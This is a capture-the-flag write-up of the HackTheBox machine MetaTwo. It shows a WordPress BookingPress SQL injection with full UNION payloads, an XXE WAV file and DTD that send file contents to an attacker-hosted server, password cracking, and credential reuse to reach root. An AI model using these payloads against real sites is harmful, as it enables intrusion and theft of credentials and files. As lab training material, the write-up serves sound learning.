HTB: MetaTwo
BookingPress unauth SQLi to crack a manager, WordPress XXE to read wp-config FTP creds, then a passpie GPG store to root
An unauthenticated SQL injection in the BookingPress WordPress plugin (CVE-2022-0739) dumps password hashes and I crack the manager. An authenticated Media Library XXE (CVE-2021-29447) reads wp-config.php for the FTP password, which leads to send_email.php and jnelson's SSH creds. Root comes from a passpie GPG store cracked with gpg2john.
the box
MetaTwo is an easy Linux box that chains two named CVEs cleanly. An unauthenticated plugin SQLi hands me a WordPress manager account, and authentication is the precondition for the next bug, an XXE in the media uploader. The XXE is a file-read primitive, so its whole value is knowing which files to read: wp-config first for FTP, then chasing reused credentials from FTP to SMTP to SSH. Root is a password manager whose master passphrase is in rockyou. Target was 10.10.11.186.
recon
Full sweep, then scripts and versions:
nmap -p- --min-rate 10000 10.10.11.186
nmap -p 21,22,80 -sCV 10.10.11.186
Three ports:
21/tcp open ftp ProFTPD Server (Debian)
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
FTP is open but anonymous login was off, so it is a target for credentials later, not an entry. Port 80 redirects to http://metapress.htb/, so I added the host:
10.10.11.186 metapress.htb
The site is WordPress. wpscan and the page source pinned it down:
CMS: WordPress 5.6.2
theme: twentytwentyone (version 1.1)
user: admin
The navigation had an /events page that books appointments. After booking, it redirected to:
http://metapress.htb/thank-you/?appointment_id=NQ==
NQ== base64-decodes to 5, so appointment IDs are just base64’d integers. The booking widget on /events/ is the BookingPress plugin, around version 1.0.10. That version has a public unauthenticated SQLi.
BookingPress 1.0.10 is vulnerable to CVE-2022-0739 (fixed in 1.0.11): an unauthenticated UNION-based SQL injection in the bookingpress_front_get_category_services AJAX action. The injectable parameter is total_service, and the query exposes 9 columns, so a UNION needs exactly nine selected values.
The one catch is the action needs a valid _wpnonce. WordPress sprays nonces into front-end JS, and this one sits in the /events/ page source right next to the AJAX call. Grepping the source for bookingpress_front_get_category_services finds it:
action:'bookingpress_front_get_category_services'
_wpnonce:'f071f53b5a'
A raw request looks like this, with a -7502) prefix to break out and the nine-column UNION fingerprinting the database:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=bookingpress_front_get_category_services&_wpnonce=f071f53b5a&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -
foothold
With the nonce I ran the public PoC, which automates the version fingerprint and then dumps wp_users:
python3 booking-press-expl.py -u http://metapress.htb -n 'f071f53b5a'
The core of that script is two payloads, a count trigger and a per-row gainer, both keeping the nine-column UNION shape:
trigger = ") UNION ALL SELECT @@VERSION,2,3,4,5,6,7,count(*),9 from wp_users-- -"
gainer = ') UNION ALL SELECT user_login,user_email,user_pass,NULL,NULL,NULL,NULL,NULL,NULL from wp_users limit 1 offset {off}-- -'
It dumped the WordPress user hashes:
|admin|admin@metapress.htb|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|manager@metapress.htb|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|
sqlmap -r sqli.req -p total_service -D blog -T wp_users --dump reaches the same data if you would rather not run the script.
Both are phpass ($P$) hashes. John cracked the manager:
john wp.hashes --wordlist=/usr/share/wordlists/rockyou.txt --user
manager:partylikearockstar
admin never fell. manager:partylikearockstar logged into /wp-admin. A manager has the Media Library, which is the foothold for the next CVE.
WordPress 5.6.2 is vulnerable to CVE-2021-29447, an XXE in the media uploader. WP parses audio metadata with the PHP getID3 library, and a WAV file can carry an iXML chunk holding arbitrary XML. The parser processes that XML, so an external entity reference reaches out, pulls a remote DTD, and exfiltrates a file. It needs an authenticated user who can upload, which is exactly what the cracked manager account gives.
The malicious WAV declares a parameter entity that fetches my DTD, then triggers the chain:
RIFFWAVEiXML{<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://10.10.16.36:8484/evil.dtd'>%remote;%init;%trick;] >
The raw file is a tiny RIFF header, an iXML chunk whose length is 0x7b bytes, and the XML inline. The hex makes the structure obvious:
00000000: 5249 4646 b800 0000 5741 5645 6958 4d4c RIFF....WAVEiXML
00000010: 7b00 0000 3c3f 786d 6c20 7665 7273 696f {...<?xml versio
...
00000070: 6427 3e25 7265 6d6f 7465 3b25 696e 6974 d'>%remote;%init
00000080: 3b25 7472 6963 6b3b 5d20 3e00 ;%trick;] >.
evil.dtd, hosted on my box, base64-encodes the target file with a PHP filter and exfiltrates it as a query string parameter (nesting the entity so the file contents land in a follow-up request):
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.36:8484/?p=%file;'>" >
I served the DTD and a catcher (python3 -m http.server 8484), uploaded the WAV through Media > Add New, and the box requested evil.dtd then sent back /etc/passwd base64-encoded on the ?p= parameter. Decoding it confirmed the local user:
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
No SSH key came back for jnelson, so I aimed the file-read at config. The nginx vhost gave the webroot:
# point evil.dtd at /etc/nginx/sites-enabled/default
server {
listen 80;
root /var/www/metapress.htb/blog;
index index.php index.html;
...
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
}
}
So the WordPress root is /var/www/metapress.htb/blog. I re-fired the XXE at /var/www/metapress.htb/blog/wp-config.php.
user
wp-config.php carried both the database credentials and, more usefully, FTP credentials, because WordPress was configured to push updates over FTP (FS_METHOD = ftpext):
define( 'DB_NAME', 'blog' );
define( 'DB_USER', 'blog' );
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
define( 'DB_HOST', 'localhost' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
The FTP creds opened the ProFTPD service from port 21:
ftp metapress.htb@metapress.htb # 9NYS_ii@FyL_p5M2NvJ
Alongside blog/ was a mailer/ directory holding send_email.php, a PHPMailer script with hardcoded SMTP credentials for jnelson:
$mail->Host = "mail.metapress.htb";
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->Port = 587;
Those SMTP credentials are reused for SSH, which is the kind of reuse this box keeps rewarding:
ssh jnelson@10.10.11.186 # Cb4_JmWM8zUZWMu@Ys
That gave the user flag.
root
In jnelson’s home was a .passpie directory, the file store for the passpie command-line password manager. It keeps each credential as a PGP-encrypted YAML file, with the PGP keypair in a hidden .passpie/.keys. The ssh entry held root’s password as a PGP message:
.passpie/
├── .config
├── .keys # PGP private + public key blocks
└── ssh.pass # root@ssh entry, PGP-encrypted password
The root@ssh entry:
fullname: root@ssh
login: root
name: ssh
password: '-----BEGIN PGP MESSAGE-----
...
-----END PGP MESSAGE-----'
To decrypt it I needed the private key’s passphrase. I copied .keys over, removed the public-key block, and turned the private key into a crackable hash:
scp jnelson@10.10.11.186:/home/jnelson/.passpie/.keys .
gpg2john .keys > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
John recovered the passphrase:
blink182
That is not the root password, it is the passphrase that unlocks the passpie store. Back on the box, I exported the vault with it. Either export to a YAML file or a direct copy to stdout works:
passpie export pass.yml --passphrase blink182
# or
passpie --passphrase blink182 copy --to stdout root@ssh
The export revealed the root SSH password:
fullname: root@ssh
login: root
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
su with that finished the box:
su - # p7qfAZt4_A1xo_0x
That gave the root flag.
takeaway
Two known CVEs chain cleanly, and the order is the lesson: the SQLi exists only to produce an authenticated session, and that session is the precondition for the XXE. The XXE itself is just a file-read, so it is worth nothing without knowing what to read, wp-config first because it holds FTP creds, then a credential chase from FTP to SMTP to SSH that works only because the same human reused one password three times. The root step is the same idea one layer down. A password manager protects you exactly as well as its master passphrase, and blink182 is in rockyou, so the vault was a speed bump, not a lock.